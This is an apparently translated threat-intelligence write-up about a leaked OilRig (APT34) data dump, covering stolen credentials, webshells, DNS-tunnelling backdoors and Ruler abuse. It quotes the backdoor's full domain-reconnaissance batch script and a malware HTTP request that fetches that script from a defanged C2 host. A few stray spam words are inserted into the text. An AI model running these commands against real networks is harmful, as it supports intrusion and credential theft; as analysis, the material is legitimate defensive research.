一份来源未知的数据,揭秘了OilRig组织的全部信息(上)

2023-12-06 21:10

本文主要是介绍一份来源未知的数据,揭秘了OilRig组织的全部信息(上),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

黑客组织OilRig,也被称作APT34或Helix Kitten,于2016年5月首次出现在公众视野中,自那时起便得到了业内人士的广泛研究。OilRig组织在攻击手段上并不是特别复杂,但在追求其任务目标方面极其执着,而且与其他一些从事间谍活动的APT组织不同,他们更愿意偏离现有的攻击方法,使用新技术来达成自己的目标。在对其长时间地跟踪研究后,我们已经熟知他们攻击执行的具体细节、使用工具,甚至能通过他们对VirusTotal的使用痕迹来推测他们的开发周期。不过,由于能访问的数据有限,我们的分析更多地是从被攻击对象的角度出发,也就往往会被限制在表层。

最近,一份据称与OilRig活动有关的数据转储数据被不知名人士公开,内容囊括了凭据转储、后门、webshell以及其他一些文件。我们发现这份数据确实能与OilRig之前的行动、使用的工具集对得上号。此外,通过这份数据,我们能够追溯我们之前对OilRig的研究,比较结果是否存在差异,并填补研究过程的空白。我们还能确定BONDUPDATER后门及其服务器组件的功能、几个webshell的外观和功能、组织内部对工具的称呼,以及看到OilRig活动在未来蔓延全球的可能性。

OilRig针对的组织机构广泛分布在各行各业,包括政府、媒体、能源、物流以及技术服务供应商。我们总共确定了近13,000个被盗证书,超过100个部署的webshell,以及大约12个后门会话,共计分布在27个国家,97个组织和18个行业的受感染主机中。

泄漏之源

在2019年3月中旬,一个未知团体出现在Twitter和几个黑客论坛上,用户@Mr_L4nnist3r声称他们可以访问OilRig的内部工具和数据的转储数据,贴示公告中含有几张疑似OilRig攻击系统的屏幕截图,一个是用于DNS劫持的脚本,还有一个是名为Glimpse.rar的存档文件,里面据说是OilRig后门的命令和控制服务器面板。不久之后,Twitter用户@dookhtegan也出了一篇公告,声称他们也可以访问OilRig使用的内部工具和数据的转储数据,如图1所示。这篇公告使用了2004年的一张照片,照片上是一位名叫迈赫迪·卡乌西(Mehdy Kavousi)的伊朗避难者,他以缝合自己的眼睛和嘴巴而震动一时。这张照片所涵盖的意思是,拒绝他的避难者申请并将他送回伊朗,无异于将他处死。目前还不清楚选择这幅图像的象征,也许只是作为抗议的表达,账号的来历也未知。中国菜刀

一份来源未知的数据,揭秘了OilRig组织的全部信息(上)图1. @dookhtegan发布的推文,内容提及OilRig相关文件

之后该账号又继续发布了一系列推文,内容是对OilRig组织的抗议,并将其归咎到了某个国家和组织,我们当前还无法验证这背后的真实性,但美国国家反情报和安全中心在2018年的报告中有记载,OilRig组织与伊朗的关联密不可分。同时该账户的推文中也有能访问转储数据的直链,是匿名共享的。天空彩

发布的文件包括Glimpse.rar,还有来自受感染组织的数百个凭据,以及公开登录提示的详细信息,还提供了到webshell、webshell源代码以及另一个后门和它服务器组件的链接,这些链接可能以前就有了,也可能是发布前不久才部署的。

该帐户出现不久被注销了,但又马上出现了一个名为@dookhtegan1的备用帐户,该帐户目前仍处于活动状态。这个帐户会提供以前公开的OilRig组织的消息,但不再有转储数据的链接,而是让那些对数据感兴趣的人通过私人Telegram通道加入共享,如图2所示。

一份来源未知的数据,揭秘了OilRig组织的全部信息(上)

图2.备用帐户@ dookhtegan1的推文,提供带有泄漏文件的Telegram通道

转储数据内容

转储数据的内容是各种类型的数据集,似乎包含了侦察活动、初始入侵过程以及使用工具,包括:

· 被盗的凭据

· 使用被盗凭证登录的潜在系统

· 部署的webshell URL

· 后门工具

· 后门工具的命令和控制服务器组件

· 用于执行DNS劫持的脚本

· 标识特定个体运营商的文件

· OilRig操作系统的屏幕截图

除含有OilRig组织人员身份信息的文档之外,我们分析了其他每种类型的数据集,它们与之前观察到的OilRig策略,技术和程序(TTP)保持一致。虽然我们无法确认每个文件的真实性,但也没有理由怀疑它们是捏造的。

OilRig跟踪自己各种工具的内部名称如表1所示。

一份来源未知的数据,揭秘了OilRig组织的全部信息(上)

表1. OilRig数据泄露中暴露的工具,其内部名称对应安全社区使用的名称

凭证数据

转储数据中总共包含近13,000组凭证。这些证书似乎是通过多种技术窃取的,包括使用密码恢复工具MimiKatz或ZhuMimiKatz,或者SQL注入,以及使用一些传统的证书收集工具包。

该转储数据中列出的组织类型分布在多个行业垂直领域,但都主要位于中东地区。我们无法确认所有这些被盗凭证是否都真实,但是根据之前观察到的活动、时间戳和已知行为,这些凭证很可能是真实的,当前仍可能有效。

这也能说明OilRig非常重视基于凭据的攻击,这与大多数间谍组织的动机是一致的,因为一旦通过合法凭证获得访问权限,他们就能够伪装成合法用户,本质上这是一种内部威胁。与使用自定义工具伪装成合法用户的攻击者相比,这种类型的活动更加难以检测。

基于我们过去的研究,OilRig倾向于在初始入侵后立即尝试升级特权,然后横向移动到本地Microsoft Exchange服务器,获取多凭据并植入其他工具,如webshells、IIS后门、Ruler等。Ruler是一个开源渗透测试工具包,能够通过窃取的凭据访问Outlook Web Access(OWA),并滥用内置函数执行各种操作,比如检索全局地址列表,设置恶意电子邮件规则,执行远程代码执行。

OilRig用到了Ruler的Ruler.Homepage功能。该功能滥用了Microsoft Outlook中的一项功能——允许管理员或用户为收件箱中的任何文件夹设置默认主页。使用窃取的凭证,攻击者利用Ruler通过RPC协议向目标组织的OWA实例发送命令,然后远程为受损收件箱的文件夹设置任意主页,之后在主页中植入自动检索和执行恶意代码的命令——在OilRig的情况里是后门命令,可以访问用户正在使用的端点。

后门

转储数据中包含了两个后门,这两个后门我们之前也分析过,称之为BONDUPDATER。一般来说,虽然我们能够检索攻击中涉及的植入程序或payload,但通常对服务器端组件是盲目的。而转储数据中则提供了后门相关的服务器组件,为后门如何运行提供了不同的视角。OilRig内部将后门称为Glimpse和Poison Frog,在功能上是两种不同的工具。

Glimpse

Glimpse,我们最近在4月16日的另一份报告中也提到过这个工具。它使用DNS隧道与其C2通信,重点是用TXT查询从C2服务器接收信息。

表2中列出了Glimpse工具的三个必要组件,转储数据中还有了一个Read me.txt文件,来解释如何设置和使用Glimpse的文件。

一份来源未知的数据,揭秘了OilRig组织的全部信息(上)

表2. Glimpse工具的三个组件

Read me.txt文件同时备注了Glimpse的版本号为2.2,表明OilRig可能对该组件多次迭代过。

Glimpse面板(版本号“v1.0.5”)是OilRig用来组织安装在受损系统上的各种代理的工具,除了向受影响的端点上传和下载文件外,还允许操作人员远程命令。编译时间显示,Glimpse面板于2018年9月1日创建。图3显示了测试环境中Glimpse面板包含的三个不同代理。

一份来源未知的数据,揭秘了OilRig组织的全部信息(上)

图3. Glimpse面板显示的三个受损系统

操作人员可在控制面板中选择要交互的代理。代理控制面板有三个选项卡,选项卡具有允许操作人员发出命令,以及向代理程序上载和下载文件的接口。command选项卡将显示以前发出的命令、发出命令的时间以及它们的状态,如图4所示。

一份来源未知的数据,揭秘了OilRig组织的全部信息(上)

图4. 用于发送命令的接口信息

操作人员可单击命令,在名为“Result Viewer”的弹出窗口中查看结果。图5显示了result viewer窗口,其中显示了发出的命令的结果。

一份来源未知的数据,揭秘了OilRig组织的全部信息(上)

图5.result viewer显示已发出命令的结果

Glimpse的服务器充当DNS服务器与面板协同工作,DNS服务器是用JavaScript编写的,在Node.js runtime中运行。服务器的文件名为srvr.js,据Read me.txt解释,该文件在Node.js中使用forever start srvr.js运行。图6是Glimpse服务器响应来自Glimpse代理的入站信标并发送命令whoami的示意图,还显示了whoami命令执行后的结果。

一份来源未知的数据,揭秘了OilRig组织的全部信息(上)

图6. Glimpse服务器向代理发出命令并接收命令的结果

Poison Frog

转储数据中的第二个后门名为Poison Frog(毒蛙),数据集里涵盖了攻击者将在目标系统上安装的代理和与受损系统交互的服务器。FireEye曾在2017年12月时记载过,Poison Frog工具似乎是用于中东攻击的BONDUPDATER的变种。

表3显示了与转储数据中与代理相关的文件,其中Poison Frog的dUpdater.ps1似乎是BONDUPDATER的初始变体,它使用DNS隧道作为其C2通道。有趣的是,这两个Poison Frog代理脚本都配置为使用域myleftheart [.] com作为其C2服务器,我们在之前的任何攻击中都没有看到此域,无法将其与任何已知的OilRig基础架构相关联。

一份来源未知的数据,揭秘了OilRig组织的全部信息(上)

表3.Poison Frog代理相关文件

与Glimpse C2服务器一样,Poison Frog服务器是用JavaScript编写的,在Node.js中运行。 Poison Frog服务器负责处理hUpdater.ps1和dUpdater.ps1脚本使用的HTTP和DNS隧道通道。根据服务器的代码,它将向新感染的系统发出的默认命令是包含在名为0000000000.bat的文件中的批处理脚本。0000000000.bat在受感染系统上执行时将运行以下命令,来收集要发送回C2服务器的信息:

whoami
hostname
ipconfig /all
net user /domain
net group /domain
net group “domain admins” /domain
net group “Exchange Trusted Subsystem” /domain
net accounts /domain
net user
net localgroup administrators
netstat -an
tasklist
systeminfo
reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default”
schtasks /query /FO List /TN “GoogleUpdatesTaskMachineUI” /V | findstr /b /n /c:”Repeat: Every:”
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

此批处理脚本也很有趣,因为它使用echo命令在每个命令结果产生之前就涵盖了标头。这个批处理脚本的标题看起来非常熟悉,在2016年10月我们曾报道过,Clayslide交付文档通过HTTP C2通道传递Helminth后门的过程中也见过类似的批处理脚本(SHA256:903b6d948c16dc92b69fe1de76cf64ab8377893770bf47c29bf91f3fd987f996),批处理脚本由Helminth后门(SHA256:1fb69090be8a2e11eeb220b26ee5eddf1e3fe81ffa59c47d47d01bf90c2b080c)发出的HTTP请求下载,如下所示:

GET /update-index.aspx?req=1786873725%5Cbat&m=d HTTP/1.1Host: update-kernal[.]netConnection: Keep-Alive

在对作为Poison Frog中默认命令的批处理脚本与Helminth后门的批处理脚本进行代码比较后,我们发现它们相似度非常高,如图7所示,有几个标头完全相同,而大多数命令与带有“2>&1”后缀的Helminth命令是相同的,这些命令的输出中有错误。间接说明了这些活动间的关联性。

一份来源未知的数据,揭秘了OilRig组织的全部信息(上)

图7. Poison Frog C2发布的默认批处理脚本与Helminth Trojan收到的批处理脚本之间的代码比较

未完待续~

这篇关于一份来源未知的数据,揭秘了OilRig组织的全部信息(上)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/463334

相关文章

Python获取中国节假日数据记录入JSON文件

《Python获取中国节假日数据记录入JSON文件》项目系统内置的日历应用为了提升用户体验,特别设置了在调休日期显示“休”的UI图标功能,那么问题是这些调休数据从哪里来呢?我尝试一种更为智能的方法:P... 目录节假日数据获取存入jsON文件节假日数据读取封装完整代码项目系统内置的日历应用为了提升用户体验,

揭秘Python Socket网络编程的7种硬核用法

《揭秘PythonSocket网络编程的7种硬核用法》Socket不仅能做聊天室,还能干一大堆硬核操作,这篇文章就带大家看看Python网络编程的7种超实用玩法,感兴趣的小伙伴可以跟随小编一起... 目录1.端口扫描器:探测开放端口2.简易 HTTP 服务器:10 秒搭个网页3.局域网游戏:多人联机对战4.

使用Sentinel自定义返回和实现区分来源方式

《使用Sentinel自定义返回和实现区分来源方式》:本文主要介绍使用Sentinel自定义返回和实现区分来源方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Sentinel自定义返回和实现区分来源1. 自定义错误返回2. 实现区分来源总结Sentinel自定

Java利用JSONPath操作JSON数据的技术指南

《Java利用JSONPath操作JSON数据的技术指南》JSONPath是一种强大的工具,用于查询和操作JSON数据,类似于SQL的语法,它为处理复杂的JSON数据结构提供了简单且高效... 目录1、简述2、什么是 jsONPath?3、Java 示例3.1 基本查询3.2 过滤查询3.3 递归搜索3.4

MySQL大表数据的分区与分库分表的实现

《MySQL大表数据的分区与分库分表的实现》数据库的分区和分库分表是两种常用的技术方案,本文主要介绍了MySQL大表数据的分区与分库分表的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有... 目录1. mysql大表数据的分区1.1 什么是分区?1.2 分区的类型1.3 分区的优点1.4 分

Mysql删除几亿条数据表中的部分数据的方法实现

《Mysql删除几亿条数据表中的部分数据的方法实现》在MySQL中删除一个大表中的数据时,需要特别注意操作的性能和对系统的影响,本文主要介绍了Mysql删除几亿条数据表中的部分数据的方法实现,具有一定... 目录1、需求2、方案1. 使用 DELETE 语句分批删除2. 使用 INPLACE ALTER T

Python Dash框架在数据可视化仪表板中的应用与实践记录

《PythonDash框架在数据可视化仪表板中的应用与实践记录》Python的PlotlyDash库提供了一种简便且强大的方式来构建和展示互动式数据仪表板,本篇文章将深入探讨如何使用Dash设计一... 目录python Dash框架在数据可视化仪表板中的应用与实践1. 什么是Plotly Dash?1.1

Redis 中的热点键和数据倾斜示例详解

《Redis中的热点键和数据倾斜示例详解》热点键是指在Redis中被频繁访问的特定键,这些键由于其高访问频率,可能导致Redis服务器的性能问题,尤其是在高并发场景下,本文给大家介绍Redis中的热... 目录Redis 中的热点键和数据倾斜热点键(Hot Key)定义特点应对策略示例数据倾斜(Data S

Python实现将MySQL中所有表的数据都导出为CSV文件并压缩

《Python实现将MySQL中所有表的数据都导出为CSV文件并压缩》这篇文章主要为大家详细介绍了如何使用Python将MySQL数据库中所有表的数据都导出为CSV文件到一个目录,并压缩为zip文件到... python将mysql数据库中所有表的数据都导出为CSV文件到一个目录,并压缩为zip文件到另一个

SpringBoot整合jasypt实现重要数据加密

《SpringBoot整合jasypt实现重要数据加密》Jasypt是一个专注于简化Java加密操作的开源工具,:本文主要介绍详细介绍了如何使用jasypt实现重要数据加密,感兴趣的小伙伴可... 目录jasypt简介 jasypt的优点SpringBoot使用jasypt创建mapper接口配置文件加密